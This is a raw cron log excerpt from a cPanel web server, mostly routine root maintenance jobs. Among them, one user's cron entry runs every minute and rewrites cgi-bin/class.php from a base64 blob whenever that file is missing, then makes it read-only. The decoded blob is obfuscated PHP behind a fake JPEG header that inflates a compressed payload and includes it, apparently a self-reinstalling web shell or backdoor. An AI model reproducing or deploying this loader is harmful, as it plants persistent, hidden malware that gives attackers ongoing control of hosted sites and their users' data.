Aug 31 03:15:01 server CROND[19809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:15:01 server CROND[19811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:15:01 server CROND[19812]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:15:01 server CROND[19810]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:15:01 server CROND[19813]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:15:01 server CROND[19815]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Aug 31 03:16:01 server CROND[20680]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:16:01 server CROND[20681]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:16:01 server CROND[20687]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:17:01 server CROND[21111]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:17:01 server CROND[21113]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:17:01 server CROND[21112]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:18:01 server CROND[21531]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:18:01 server CROND[21532]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:18:01 server CROND[21533]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:19:01 server CROND[22068]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:19:01 server CROND[22070]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:19:01 server CROND[22071]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:20:01 server CROND[22561]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:20:01 server CROND[22563]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:20:01 server CROND[22565]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Aug 31 03:20:01 server CROND[22566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:20:01 server CROND[22568]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:20:01 server CROND[22571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:20:01 server CROND[22572]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:20:01 server CROND[22575]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Aug 31 03:20:01 server CROND[22574]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:21:01 server CROND[23622]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:21:01 server CROND[23623]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:21:01 server CROND[23624]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:22:01 server CROND[24032]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:22:01 server CROND[24033]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:22:01 server CROND[24034]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:23:01 server CROND[24425]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:23:01 server CROND[24426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:23:01 server CROND[24427]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:24:01 server CROND[24803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:24:01 server CROND[24804]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:24:01 server CROND[24805]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:25:01 server CROND[25286]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:25:01 server CROND[25288]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Aug 31 03:25:01 server CROND[25292]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:25:01 server CROND[25293]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:25:01 server CROND[25294]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Aug 31 03:25:01 server CROND[25297]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Aug 31 03:25:01 server CROND[25296]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Aug 31 03:26:01 server CROND[26131]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Aug 31 03:26:01 server CROND[26132]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Aug 31 03:26:01 server CROND[26133]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Aug 31 03:27:01 server CROND[26528]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Aug 31 03:27:01 server CROND[26530]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
